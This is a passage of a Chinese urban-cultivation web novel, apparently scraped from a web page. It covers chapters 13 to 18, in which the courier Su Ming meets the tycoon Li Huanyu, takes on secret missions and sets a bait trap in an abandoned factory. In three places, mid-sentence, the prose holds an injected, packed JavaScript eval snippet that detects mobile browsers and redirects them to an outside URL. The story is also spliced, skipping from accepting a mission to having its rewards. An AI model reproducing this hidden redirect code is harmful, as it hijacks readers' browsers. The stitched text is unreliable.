“中品火煞符!”凌虚子有些惊讶,“不错,以你炼气二层修为,能画出中品基础符箓,已是难得。此符激发后,火焰更集中,温度更高,对付炼气中期修士的护体灵气也有一定威胁。” 苏明心中一喜,不敢懈怠,一鼓作气,又绘制了两张中品火煞符。加上之前剩余的两张下品符,他现在手头有了五张攻击符箓。 他将三张中品火煞符小心折好,贴身存放。另外两张下品符,则被他布置在房间的几个关键入口和窗口用极细的、几乎看不见的灵力丝线连接,做成简单的触发式陷阱。一旦有外人闯入触动丝线,符箓便会自动激发。虽然威力有限,但足以示警并制造混乱。 做完这些,天色已近黄昏。距离星力屏蔽失效,还有不到三个小时。无人机早已飞远,信号显示它已抵达湿地公园上空,正在自动盘旋。 苏明盘坐在聚灵阵中,一边恢复绘制符箓消耗的灵力,一边静静等待。他没有开灯,房间内只有星髓在阵眼位置散发出的、微弱的脉动光华。 时间一分一秒过去。夜幕彻底笼罩城市。 晚上九点五十分。 胸口檀木盒子,毫无征兆地,再次传来清晰的颤动! 星力屏蔽,失效了! 灵引符的印记,重新活跃起来! 苏明瞬间睁开双眼,眸中精光一闪。他能清晰地感觉到,一股微弱的、但指向明 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果然,湿地公园的信号源消失后,那股指向苏明本体的牵引感瞬间变得清晰而稳定!并且,开始缓缓移动不是直接扑向他的出租屋,而是以一种迂回的、试探性的方式,在方圆数公里范围内游移,仿佛在确认着什么,或者在布控? “对方很老练。”凌虚子声音低沉,“已识破粗浅的干扰,并开始锁定这片区域。他在外围逡巡,恐怕是在探查有无陷阱或埋伏,也可能在等待同伙。” 苏明手心渗出冷汗。他这套临时布置,对付莽夫或许有用,但对付这种经验丰富、行事谨慎的老手,恐怕收效甚微。 怎么办?硬拼?对方至少是筑基期,自己炼气二层,加上凌虚子状态未复,胜算渺茫。逃?城市虽大,但在对方有明确追踪标记的情况下,能逃到哪里去?除非立刻远遁千里,但这不现实。 就在苏明心念急转,思考对策时,手机突然震动了一下。 不是订单提示,也不是垃圾短信,而是一个来自陌生号码的短信:“苏先生,灵引符之事,李先生已知晓。请于明日午后两点,至东郊‘听雨茶楼’天字号包厢一叙。务必单独前来。吴。” 吴?吴师傅?那个帮他护法封镇邪佛的老者?他怎么知道灵引符?还提到了“李先生”李寰宇? 苏明盯着短信,大脑飞速运转。吴师傅是秦守仁请来的人,秦守仁与李寰宇是否有关联?还是说,吴师傅本就是李寰宇的人?或者是第三方? “去,还是不去?”苏明在心中问。 “去。”凌虚子果断道,“此乃转机。对方既能精准找到你,且通过吴师傅传信,说明他们对你的了解远超我们想象。与其被动等待未知的危险,不如主动接触,弄清原委。那吴师傅为人正派,上次亦曾助你,可信度较高。且指定公开茶楼,应无太大恶意。” 苏明深吸一口气,回复短信:“收到,准时赴约。” 放下手机,他感觉心跳稍稍平复。不管明天是福是祸,至少现在有了方向,而不是在黑暗中被动等待。 他看了一眼窗外深沉夜色,对方的神识感应似乎仍在附近区域徘徊,但并未进一步靠近。 看来,对方也在等。 等明天茶楼之约。 苏明盘膝坐下,继续调息,但心神已无法完全平静。 明天的会面,将决定很多事情。 包括他未来的路,该怎么走。 14. 合作 下午两点,苏明准时来到东郊“听雨茶楼”。 茶楼位于老城区边缘,三层木结构建筑,临河而建,颇有古意。天字号包厢在三楼最里侧,临窗能看到缓缓流淌的护城河。 苏明推门而入。包厢里已经坐了两个人。 主位是李寰宇。他今天没穿西装,换了一身深灰色中式对襟衫,手里把玩着两个核桃,气度沉静。旁边坐着的,正是吴师傅,依旧是那身黑色唐装,神色严肃。 “苏先生,请坐。”李寰宇抬手示意对面的空位。 苏明依言坐下,目光扫过两人。吴师傅对他微微点头,眼神复杂,有关切,也有审视。 “茶是刚沏的雨前龙井,尝尝。”李寰宇亲自倒了杯茶推过来。 苏明没动茶杯,开门见山:“李董,吴师傅,灵引符的事……” “已经解决了。”李寰宇打断他,语气平淡,“下符的人叫‘影流会’,一个活跃在东南亚和我国边境的灰色组织,擅长情报刺探和非常规手段。他们受雇于我的商业对手。符已经清除,短期内他们无法再定位你。” 解决了?苏明心中一凛。对方动作这么快?而且对“影流会”了如指掌? “李董怎么知道……” “我怎么知道你被下了灵引符?”李寰宇微微一笑,那双深邃的眼睛看着苏明,“苏先生,明人不说暗话。你第一次来我办公室送文件时,我就感觉到你身上有微弱的灵力波动——虽然掩饰得很好。一个炼气二层的修士,却跑来送快递,这本就很有意思。” 他顿了顿,继续道:“更重要的是,你能在‘影流会’的灵引符追踪下,从机场到我这里,中途没有停留,没有接触任何人,连手机信号都保持最低活跃——这种反侦察意识,不像普通快递员。所以我查了查你。” 李寰宇身体前倾,双手交叉放在桌上:“城西‘藏珍阁’的钱三、南城‘墨韵斋’的徐景山、北郊的秦守仁秦老,还有……处理掉一尊邪佛像。苏先生,你最近接触的人和事,可一点都不简单。” 苏明后背渗出冷汗。对方调查得如此彻底!连邪佛的事都知道! “李董想说什么?” “合作。”李寰宇吐出两个字,“为我做事。处理一些需要保密且需要‘特殊能力’才能处理的事务。报酬绝对让你满意。资源,只要合理,我可以提供。” “为什么是我?” “专业的人往往牵扯太多利益,背景复杂,不易控制。”李寰宇直言不讳,“你背景干净,能力初显,有上升空间,更重要的是你缺资源,也缺平台。我们各取所需。” 很现实的理由。苏明不得不承认,李寰宇看人很准。 “我需要做什么?” “范围很广。运送敏感物品,处理涉及‘超自然’因素的麻烦,去一些不方便普通人去的地方取东西。”李寰宇道,“放心,我不会让你去送死。每件事我都会评估风险,提供必要支持和情报。你有权拒绝你认为过于危险的任务。” 听起来像是升级版的“特殊快递”。 “如果我同意,我的身份?” “明面上,你依旧是自由快递员。只有我和我指定的极少数人知道我们的合作关系。你的行动会得到最大程度的便利和掩护。”李寰宇道,“包括清除灵引符,只是合作的诚意之一。” 清除灵引符!这个条件很有吸引力。但苏明没有立刻答应。 “我需要时间考虑。” “可以。”李寰宇似乎预料到这个回答,他从抽屉里拿出一个看起来像老式翻盖手机、但更厚实、没有任何标志的黑色通讯器,推到苏明面前,“这个你拿着。加密频道,单向联系,只有我能打给你。考虑好了,或者遇到紧急情况,可以用这个联系我。” 他又推过来一张黑色的银行卡:“里面有五十万,算是我预付的诚意。无论你最后是否同意合作,这笔钱都归你,算是上次文件运送的额外奖金,以及封口费。” 五十万!苏明看着那张卡,呼吸微微一滞。 “清除标记的事……” “三天内,会有人联系你处理。” 苏明收起通讯器和银行卡,站起身:“我会认真考虑,李董。” “期待你的好消息。”李寰宇伸出手。 苏明与他握了握手。握手的瞬间,苏明感觉到一股极其温和、深不可测的暖流从对方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356222|199679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掌心传来,瞬间扫过全身,最后在胸口灵引符印记的位置微微一顿,悄然退去。 他果然身怀修为!而且远在自己之上!苏明心中震撼。 离开茶楼,走在午后阳光下,苏明的心情久久不能平静。手中银行卡沉甸甸的,口袋里通讯器带着莫名的分量。 五十万,一个神秘的通讯器,一个清除灵引符的承诺,以及一个通往未知世界的邀请。 “仙尊,你怎么看?” “此人修为深不可测,至少筑基后期。他背后势力不小。”凌虚子道,“合作风险很大,但机遇亦同。他既知你身怀‘异术’,仍以礼相待,许以重利,可见确有求于你。与其被暗中觊觎,不如明面合作,借其势,获其利,以助修行。只是,须谨记不可尽信,须留后手。” 苏明点头。这也是他的想法。 三天后,一个穿着普通夹克、相貌平平的中年男人联系了苏明,在咖啡馆用那个非金非木的黑色罗盘,提取并封存了他身上的灵引符印记。 “标记已清除。李先生让我转告您,‘影流会’行事不择手段,请务必小心。另外,合作的大门随时为您敞开。期待您的答复。” 清除了一颗定时炸弹,本该轻松。但苏明的心情更加复杂。 李寰宇展现出的能量和效率,远超他的预期。这样一个庞然大物递出的橄榄枝,接,还是不接? 他看着账户里多出的五十万,又看了看那个只能被动联系的通讯器。 最终,对实力的渴望和对真相的探究压过了犹豫。 他拿起通讯器,按下红色按钮。 屏幕亮起:“连接中……” “李先生,关于合作,我想先了解更多。另外,我今天见到一件有趣的东西,或许您会感兴趣。是关于……西北戈壁,黑水城,和一件奇怪的‘骨片’。” 说完,他松开了按钮。 他知道,这一步踏出,可能就再难回头。 但停滞不前,同样危险。 通讯器屏幕暗了下去。 但苏明知道,信号已经发了出去。 接下来,就是等待回应,以及准备迎接可能到来的、更大的风浪。 15. 戈壁任务 通讯器的回应来得比预想中快。 第二天清晨,苏明正在聚灵阵中吐纳,那个黑色通讯器发出了轻微的嗡鸣,屏幕亮起,显示一个简洁的坐标地址和时间:“东郊滨江公园,望江亭,上午十点。” 上午九点五十分,苏明抵达滨江公园。望江亭里,上次那个帮他清除灵引符的、相貌平平的中年男人已经等在那里。 “苏先生,李先生收到了您的留言。”男人声音平静无波,“关于合作,李先生有几个基本条件。如果您同意,我们可以继续谈。如果不同意,五十万是封口费,通讯器收回,我们两清。” “请讲。” “第一,单向联系。只有我们能主动联系您。” “第二,任务接受自愿,但一旦接受必须竭尽全力完成。” “第三,报酬根据任务难度评定,资源支持需提出申请经评估后提供。” “第四,保密。关于我们的一切,不得向任何第三方透露。” 条件很苛刻。苏明沉思片刻:“如果任务超出我的能力范围呢?” “您可以拒绝,但需说明理由。如果理由充分,不会有惩罚。但连续拒绝或理由牵强,合作关系自动终止。”男人回答,“每次任务前,我们会提供基础情报和风险评估,由您自行判断。” “关于那件骨片,”男人话锋一转,“您提供的线索很有价值。李先生希望,如果可能,您能获取更详细的信息,或者在适当的时候协助我们获取那件骨片或类似物品。” 果然,他们对这个感兴趣。苏明斟酌道:“骨片目前在我一位朋友手中,他是正经收藏家。我可以尝试询问更多信息,但强取豪夺,不行。” “我们尊重合法收藏。只需信息。如果未来有合作获取的可能,也会通过正当交易途径。我们更感兴趣的是其来源地——黑水城遗址及周边区域。” 苏明点头。看来李寰宇的目标不仅是骨片本身,更是其背后的出处。 “如果我同意合作,第一个任务是什么?” 男人从怀中取出一个薄薄的牛皮纸档案袋,推到苏明面前:“第一个任务,试用期。内容在里面。完成后,基础报酬二十万,根据结果有浮动。接受的话,现在就可以开始。不接受,档案袋原封不动还我。” 苏明接过档案袋,拆开。 里面只有两页纸。第一页是卫星地图局部,标注了一个位于西北某省荒漠边缘的坐标点,备注:“疑似古代祭祀遗址(未确认),近期有异常能量波动记录(微弱、间歇)。” 第二页是一张彩色打印的照片,拍的是一件器物:一个巴掌大小、造型古朴、布满绿锈的青铜小鼎,鼎身刻有模糊的兽面纹。照片下面有几行字: “目标物品:兽面纹青铜小鼎(疑似战国前后),据信藏于上述坐标点地下。任务:确认坐标点情况,如有可能,取回目标物品。注意:该区域近期有不明人员活动迹象,疑为盗墓团伙或‘影流会’外围人员。风险等级:中等(环境恶劣,可能有武装冲突)。” 下面列出了提供的支持:详细区域地图(电子版)、五万元行动预支款、紧急联络频段、当地安全屋基础装备(包括户外生存装备、自卫武器、简易探测仪器)。 最后是警告:“任务区域环境恶劣,通讯可能受限。如遇无法抗衡之危险,以保全自身为第一要务。任务失败无惩罚,但合作关系可能重新评估。” 苏明快速扫完。这是一个典型的“探索兼回收”任务。坐标点有异常能量波动,目标青铜小鼎能被李寰宇看中,恐怕不是普通文物。而“影流会”的出现,让任务蒙上了对抗色彩。 危险吗?肯定危险。荒漠环境、未知遗迹、可能的竞争对手。但报酬丰厚,二十万起步,还能获得李寰宇势力的初步认可。 更重要的是,黑水城遗址就在那个省份。或许这次任务能让他接触到骨片背后的秘密。 “我需要时间准备。” “三天。三天后的晚上,有车送你去机场。装备和安全屋地址会提前发给你。接受,就把档案袋留下。不接受,还给我。” 苏明将档案袋折好,放进背包。“我接受。” 男人脸上第一次露出一丝极淡的笑容:“明智的选择。预付款已经打入你提供的账户。详细资料和装备清单,今晚会发到你的保密邮箱。记住,单向联系,注意安全。” 离开滨江公园,苏明账户里多了二十五万(戈壁任务基础报酬二十万,鬼首令情报奖励五万),怀里揣着三颗凝气丹,还有一份刚刚开通权限的“内部兑换清单”电子目录。 清单上的东西让他大开眼界:标注了年份和药效的灵草药材、低阶法器胚子、记载基础法术或修炼心得的玉简复制品、定制情报咨询、安全屋使用权、目标背景调查等服务。 每样东西后面跟着的贡献点数字也让他咋舌。完成这次探索任务,他获得了50点基础贡献(青铜小鼎)和30点附加贡献(鬼首令情报),加起来80点,只够兑换清单最末尾的几样普通药材或一次基础情报咨询。 “看来,想要好东西,还得拼命赚‘贡献点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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服务内容:求助人手中有一件家传古玉,近日佩戴后屡做噩梦,精神恍惚,怀疑玉器“不干净”。需擅长处理此类“非常规”问题的专业人士上门鉴定,若确有问题,需进行净化或处理。特别强调:需有真才实学,江湖骗子勿扰。若处理有效,重酬。 备注:情况紧急,家人已受影响。望速来。可预付部分定金。 服务费:面议(根据鉴定结果和处理难度,预估五位数起)。 家传古玉?佩戴后做噩梦?精神恍惚? 苏明看着订单描述,眼睛微微眯起。经历了邪佛、蚀灵纹、血渍古卷、地秽煞灵……他对“不干净”这个词,已经有了全新的认识。 刚刚实力有所精进,正好需要实践检验。而且,报酬似乎不错。 他手指移动,点在了“接单”按钮上。 新的“快递”,又要上路了。 16. 古玩市场的影子 “一品香”二楼临窗角落,吴清风捏着两个核桃的手在微微发抖。桌上摊开的手机照片里,那枚布满绿锈的青铜法印显得格外沉重。 “苏小友,劳烦了。”吴清风把手机推过来,声音发紧,“昨日在古玩市场,与一行人擦肩而过,感觉腰间被碰了下,等到了老友店里,一摸内袋,空了!” 苏明接过手机细看。法印巴掌大小,印纽雕盘龙,印面字迹模糊,透着中正平和的古朴气息。 “报警了吗?” “报了。监控死角,看不清。”吴清风摇头,“这印对我意义重大,且……”他顿了顿,“此等承载正气的古物,对一些修炼偏门左道的人来说,或许有特别的吸引力,甚至克制。我担心落入歹人之手。” 苏明明白。这法印本身是“正物”,但在某些人眼里,可能是一种“材料”或“需要处理的麻烦”。 “吴师傅,您说这印对特定人群或有感应?” “是。此印沾染我师门气息。若在百米之内,我或门下弟子静心感应,或可察觉其一丝微弱的‘呼应’。但昨日至今,我寻遍市场及周边,毫无所获。”吴清风眉头紧锁,“而且昨日在市场,我感觉似乎被人盯上了。那眼神,很冷。” 苏明心里一凛。有预谋? “我明白了。您把昨天详细的路线、时间,以及怀疑盯梢您的人的特征告诉我。我去市场附近转转。” 下午,城西古玩市场人头攒动。苏明混在人群里,将“灵目术”运转到极致,感官提升到极限。他观察每一个摊主、顾客,留意是否有人身上带着不寻常的“气”。 逛了一个多小时,在一处卖仿古铜钱的地摊前,苏明停下脚步。摊主唾沫横飞推销“汉代铜镜”,苏明的目光却落在地摊角落几件沾满泥土的“老物件”上。 一个缺口的黑陶罐,几片碎瓷,还有半块巴掌大小、被火烧过的木牌。木牌边缘焦黑,中间隐约有雕刻痕迹,像是某种扭曲的符纹。 木牌上残留着一丝极淡的阴冷气息,与昨日在周明远家中那“画影窥心术”的气息有几分相似!但更微弱驳杂。 “老板,这烂木牌子怎么卖?”苏明蹲下身,装作随意地拿起木牌。 摊主瞥了一眼:“乡下收破烂收来的,看着像老房梁上拆下来的符板,都烧成这样了。想要?二十块钱拿走。” 苏明掏钱买下木牌。入手粗糙,木质坚硬。他拿着木牌假装端详,实则将一丝灵力缓缓注入。 灵力进入的瞬间,那丝阴冷气息微微波动,随即沉寂。然而,苏明“看”到了一幅极其短暂、模糊的画面碎片——一双戴着黑色薄手套的手,正拿着一个完整的、刻画着狰狞鬼首的木牌,将其按在某个方正冰凉的东西上(是法印?),木牌上鬼首的双眼闪过红光……然后画面戛然而止,木牌内部结构彻底崩坏,阴冷气息消散无踪。 是“鬼首令”相关的术法残留!有人在用类似的手段处理或者封印东西!会不会就是天师法印? 苏明心中剧震,面上不动声色,将报废的木牌揣进口袋,起身问摊主:“老板,这木牌从哪个乡下收来的?还有类似的老东西吗?” 摊主忙着招呼客人,头也不抬:“西边老矿区,好几个村子拆迁,收了不少破烂。这玩意就一个,没了。” 老矿区?苏明记下。他离开地摊,继续在市场里转悠,重点留意那些售卖“偏僻乡下”、“老宅拆迁”货源的摊子。 又过了半小时,当他经过一家专卖仿古兵器的店铺时,胸口李寰宇给的黑色通讯器突然传来极其轻微的、有规律的震动——三短一长,停顿,再三短一长。 紧急联络暗号!李寰宇的人正在附近,有重要情况需要传递或示警! 苏明心中一凛,脚步不停,神态自若地走进旁边一家旧书店,假装翻看书籍,眼角余光扫向通讯器震动的方向。 只见对面“博古斋”旁边的巷子口,一个穿着快递员制服、戴口罩鸭舌帽的男人,正靠在墙边低头玩手机,看起来像是在等单休息。但苏明注意到,那人的帽檐下,目光似乎不经意地扫过自己所在的旧书店,手指在手机屏幕上快速敲击。 是李寰宇的人!他们在附近有布置? 就在这时,旧书店门口光线一暗,一个穿着灰色夹克、身材矮壮、同样戴鸭舌帽的男人走了进来。他直接走到柜台,用沙哑的声音问老板:“老板,前两天收的那批旧书,里面有没有讲道家符咒、法印之类的?” 苏明背对门 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他慢慢放下书,走出旧书店。午后的阳光有些刺眼,市场依旧喧嚣,但苏明却感到一股寒意从心底升起。 吴清风的法印失窃,果然不是普通扒手所为!刚才那个矮壮男人,身上有明显的阴煞之气,很可能与“影流会”或者“幽冥道”有关!他们盯上吴清风,夺走法印,是想做什么?销毁?还是利用? 而李寰宇的人出现在附近,是巧合?还是他们也盯上了这条线?或者是因为自己昨晚潜入周明远家,引起了连锁反应,对方正在排查? 无论哪种可能,都意味着这个看似平常的古玩市场,此刻已经暗流汹涌,危机四伏。 苏明握了握口袋里的半块焦黑木牌,又看了一眼矮壮男人消失的方向,眼神锐利起来。 看来,找法印这件事,远比他想象的更复杂,也更危险。 他深吸一口气,混入人流,没有去追矮壮男人,也没有联系李寰宇的人,而是朝着市场外走去。 现在敌暗我明,不能打草惊蛇。他需要更多的信息,也需要一点“诱饵”。 一个关于“道家法印”的诱饵。 17. 设局 离开古玩市场,苏明没有直接返回,而是先绕了几个圈子,又走进一家大型超市,在拥挤的人流和货架间穿行,仔细感知身后。 没有发现明显的跟踪者。那个矮壮男人没有跟来,李寰宇方面的“快递员”也没再出现。 回到出租屋,苏明立刻打开电脑,登录了那个同城速递的后台。他没有用自己的常用账号,而是用了一个之前为了测试平台漏洞、用虚假信息注册的“影子账号”。这个账号信用度很低,基本接不到正常订单,但发布一些信息却可以。 他在“特殊物品求购/寻物”板块,编辑了一条信息: 【高价求购】 物品:古旧铜印/法印。要求:铜质,巴掌大小,有盘龙印纽,印文模糊,有老气,年份越久越好。特别说明:不要求真品,高仿做旧到位亦可,但必须与描述高度吻合,尤其是“气场”要足(懂的自然懂)。急用! 预算:八千至一万五(视品相仿旧程度而定)。 联系方式:[附上一个新注册的、不记名的网络电话账号] 补充:可同城自取,现金交易,越快越好。 信息发布后,苏明又用这个影子账号,在几个本地古玩爱好者聚集的网络论坛和二手交易平台,匿名发布了类似但措辞略有不同的求购信息。他把价格标得不低不低,既能吸引真正有类似仿品想出手的人,又不至于高到惹人怀疑。重点强调了“气场”和“急用”,懂行的人自然会联想到一些“特殊用途”。 做完这些,他才稍微松了口气。这是一个简陋的诱饵,希望能引起那个矮壮男人或者其同伙的注意。如果法印真在他们手里,无论是想销赃、试探,还是想看看谁在追查,都可能有所动作。退一步说,就算引不来正主,能收到一两方高仿的、带点“旧气”的铜印,说不定也能从仿品上找到点线索,或者至少用来迷惑对方。 接下来,他需要更多的情报支持。他拿起李寰宇给的黑色通讯器,犹豫了一下,没有直接联系,而是进入了兑换清单的“情报服务”子类。 列表里有一项:【定向情报查询(基础)】。可根据提供的关键词(人物、地点、物品、组织名称等),查询其近期公开或半公开活动痕迹、已知关联信息、风险等级评估等。不保证深度,不涉及核心机密。每次查询需15贡献点。 苏明支付了15点,贡献点余额变成82。他在查询框输入了关键词:“城西古玩市场”、“灰色夹克矮壮男子”、“阴煞气息”、“疑似影流会外围”、“昨日(吴清风法印失窃日)活动”。 提交查询后,系统提示“已受理,结果将于12小时内反馈”。 然后,他又支付了3贡献点,购买了一次【加密信息中转服务】,将自己编辑好的一段信息——关于在古玩市场遭遇疑似身怀阴煞之气的矮壮男子、及其可能与吴清风法印失窃有关的简要描述——发送给了吴清风留下的那个紧急联系电话。提醒吴师傅此人危险,近期务必小心,并请他回忆是否在其他场合见过类似特征或气息的人。 做完这些,贡献点还剩79。苏明没有继续花费,他需要留一些备用,兑换可能急需的物资。 他盘膝坐在聚灵阵中,服下一颗“凝气丹”,开始运功调息,恢复白日消耗的心神和灵力,同时等待消息。 傍晚时分,通讯器震动,基础情报查询的结果反馈回来了。内容很简洁: 目标关键词关联信息概要: 城西古玩市场:近三个月内,有数起涉及“老旧宗教物品”、“疑似出土明器”的非正常交易记录,交易方模糊,疑有境外资金流动痕迹。市场内部分摊位经营者背景复杂,与多起文物走私案有间接关联。 特征目标(矮壮/阴煞):无直接匹配记录。但根据特征描述,与警方内部一份未公开的、关于某盗墓团伙“穿山甲”外围成员的模糊画像有30%吻合度。该团伙近年来活动于多省,涉多起古墓盗窃、文物倒卖案件,行事凶悍,疑似与某些“非常规”势力有染。 影流会关联:无直接证据表明该目标与“影流会”有关。但“影流会”已知在某些古玩黑市、走私渠道有资金洗白和物品流通行为。 昨日活动:市场监控(部分)显示,昨日(对应时间)有一身形、衣着相似男子在市场多个区域出现,行踪不定,曾短暂接近“博古斋”及周边摊位。无明确交易或接触记录。 信息不多,但验证了苏明的部分猜测。这人果然不是普通贼,很可能是一个盗墓团伙的外围成员,而且这个团伙可能还涉及“非常规”领域。是否直接与“影流会”挂钩不确定,但肯定不是善类。 几乎同时,他用来发布“求购信息”的那个不记名网络电话账号,收到了一条匿名短信:“东西有,看图谈价。” 附带着一个加密的网络相册链接和密码。 苏明精神一振,诱饵这么快就有鱼咬钩了?他立刻用虚拟机打开链接,输入密码。 相册里只有一张照片。光线昏暗,背景似乎是某个杂乱的车库或仓库角落。一张破旧报纸上,放着一方青铜法印。巴掌大小,盘龙印纽,布满绿锈,印文模糊……几乎和吴清风照片上一模一样!甚至连几处细微的磕碰痕迹都极其相似! 高仿?还是真品? 苏明心跳加快。他放大图片仔细查看。在“灵目术”的视觉增强下,他努力分辨着。印身的绿锈自然,包浆厚重,不像短期做旧。但最关键的是“气”——隔着屏幕,他完全无法感知。 “仙尊,能看出什么吗?” “单凭此影像,难断真伪。做旧之术,足以乱真。然此印形制、锈色,与吴清风所示,相似度极高。若为仿品,仿制者必见过真品,且技艺高超。”凌虚子分析道,“可尝试与之周旋,要求近距离验看,或索要多角度细节图,观其是否刻意回避某些特征。” 苏明依言,用网络电话回复:“图太暗,看不清细 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356225|199679||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 节。多角度、光线好的照片,尤其是印面、印纽侧面、底部磕碰处。东西对,价钱好说。” 对方很快回复:“东西不方便多拍。保真,老坑出来的,带着土腥和香火味。诚心要,明晚八点,城南‘废弃油脂厂’旧址第三车间,只准一个人来,现金交易。过时不候。” 城南废弃油脂厂?那地方苏明知道,早就停产荒废多年,位置偏僻,周围都是待拆迁的破旧厂房和荒地,晚上根本没人去。典型的黑市交易或见不得光勾当的选址。 对方很警惕,不愿多提供信息,而且直接把交易地点定在那种地方,明显不怀好意。这可能是个陷阱,对方或许根本就没印,只是想黑吃黑,或者就是冲着他这个“求购者”来的。 苏明眼神沉静。他没有立刻回复,而是再次拿起李寰宇的通讯器,查询兑换列表。很快,他找到了需要的东西: 【微型侦查傀儡(昆虫型)】:仿生昆虫外观,具备基础移动、影像声音采集、实时传输功能。续航2小时,控制半径500米。需20贡献点/只。 【环境探测符】:可提前布置于指定区域,感知范围内的生命气息、能量异常波动。覆盖半径50米,持续1小时。需5贡献点/张。 【神行符(低品)】:激发后大幅提升移动速度与身体敏捷,持续3分钟。需10贡献点/张。 总计35点。苏明看了看余额,79点。兑换!他需要更多的眼睛和耳朵,也需要关键时刻跑路的能力。 贡献点扣除,余额44。几乎瞬间,通讯器提示有加密包裹送达指定储物柜。苏明立刻出门,在附近地铁站的一个智能储物柜里,取回了一个香烟盒大小的金属盒。 回到屋里打开,里面静静地躺着一只栩栩如生的金属“苍蝇”,薄如蝉翼的翅膀泛着冷光;三张画着不同符文的黄纸;以及两张绘有疾风纹路的青色符纸。 苏明仔细阅读了附带的简易说明书,熟悉了操控方法。傀儡苍蝇通过一个专用的、连接通讯器的加密接收器控制,视野和声音可以实时回传。环境探测符需提前激发并布置在隐蔽处。神行符则是保命用的。 准备好这些,他才用网络电话回复那个神秘卖家:“明晚八点,油脂厂三车间,可以。我带一万现金。只见东西,不谈其他。” 对方只回了一个字:“好。” 放下通讯器,苏明眼中闪过一丝冷光。明知山有虎,偏向虎山行。这局,他赴了。但不是去当猎物,而是要看看,这潭浑水下面,到底藏着什么牛鬼蛇神。 他将傀儡苍蝇、环境探测符、神行符小心收好,又将那三张仅剩的中品“火煞符”和星髓检查了一遍。最后,他给吴清风发了一条加密信息,只有短短一句:“明日城南油脂厂,或有线索。勿来,等我消息。” 夜已深,城市依旧喧嚣。苏明盘坐阵中,缓缓调息,将状态调整到最佳。 明晚的废弃油脂厂,注定不会平静。 18. 废弃油脂厂 晚上七点四十,苏明提前二十分钟抵达废弃油脂厂外围。他没靠近约定的第三车间,而是在三百米外一栋废弃二层办公楼顶层潜伏下来。这里视野开阔,能隐约看到第三车间黑洞洞的入口。 夜风穿过生锈管道,发出呜咽怪响。月光被厚云遮蔽,只有零星路灯投来昏黄光晕。空气里弥漫铁锈、油脂和灰尘的腐朽气味。 “此地秽气沉淀,阴气偏重,但无强烈煞气或阵法波动。”凌虚子声音在脑海响起,“五十丈内,暂时没有活人气息。不过第三车间深处,似有隔绝探查的布置。” 苏明没开灯,从金属盒取出仿生苍蝇形态的“微型侦查傀儡”,放在掌心。傀儡指甲盖大小,金属甲壳泛幽光。他通过专用加密接收器与傀儡建立连接,将一丝微弱灵力注入。 傀儡复眼微亮红光,薄翼轻颤,发出几不可闻嗡鸣,从苏明掌心起飞,悄无声息朝第三车间飞去。接收器屏幕显示傀儡传回的实时画面。 苏明操控傀儡从高处绕第三车间飞了一圈。车间是长方形砖混结构,屋顶部分坍塌,墙壁布满暗红铁锈。有几个出入口,大多被锈蚀机器或瓦砾堵死,只有东侧一个卸货平台的门洞敞开着。 傀儡悬停在卸货平台上方,镜头对准黑暗门洞。里面漆黑一片。但苏明能感觉到,那黑暗深处仿佛有什么东西在“注视”外面。 他操控傀儡缓缓降低高度,准备从门洞飞进去。就在傀儡即将进入门洞的瞬间,接收器屏幕画面猛地剧烈晃动,信号变得极不稳定,充满雪花和刺耳电流声! “有干扰!很强的电磁干扰,或是针对探测的禁制!”凌虚子立刻警告。 苏明操控傀儡后退。退出约十米,信号才逐渐稳定。车间内部被布置了屏蔽探测的手段。 无法预先探查内部,风险又增几分。苏明看了眼时间,七点五十。他不再犹豫,取出两张“环境探测符”。 这是两枚刻画复杂纹路的玉质薄片。他按说明将灵力注入其中一张,玉符微光,苏明将其轻轻按在脚下办公楼顶一处裂缝中,光芒隐没。接着在屋顶几个关键点位移动,将另一张探测符也布置好。 激发后,他通过接收器能感应到,以两张探测符为中心,半径五十米范围内的生命气息和异常能量波动都会被模糊标记。此刻探测范围内只有他自己一个微弱光点。 最后,他将“神行符”和“火煞符”放在最方便取用的口袋,深吸一口气,从二楼轻盈跃下,落地无声,朝第三车间潜行。 他没走正门的卸货平台,而是绕到车间侧面,找到一处墙壁裂缝较大、勉强可容人钻入的地方。裂缝内漆黑一片。苏明开启“灵目术”,双眼在微弱灵力加持下勉强能看清近处模糊轮廓。 车间内部空间极大,到处是锈蚀倒塌的机器、横七竖八的管道和厚厚灰尘。空气里弥漫更浓的、令人作呕的腐败油脂味。月光从屋顶破洞透入,形成道道惨白光柱,照亮空气中飞舞的尘埃。 环境探测符的感应中,这里依旧只有他一个生命光点。但那股被窥视的感觉始终存在。 他小心翼翼朝车间深处相对空旷的中心区域移动。脚下是厚厚的灰尘和油污混合物,踩上去软绵绵的,几乎没有声音。 终于,绕过一台横倒的巨大离心机后,他看到了约定的“交易”地点。 那是一片被清理出来的空地,约二三十平米。空地中央,用几块砖头垫着一盏蓄电式野营灯,散发着冷白色光芒。灯光下,一方用红布垫着的青铜法印静静躺着。 盘龙印纽,绿锈斑驳,与照片上、吴清风的描述一般无二。在灯光下,静静躺在那里,透着一股沉静的古意。 但法印周围,空无一人。 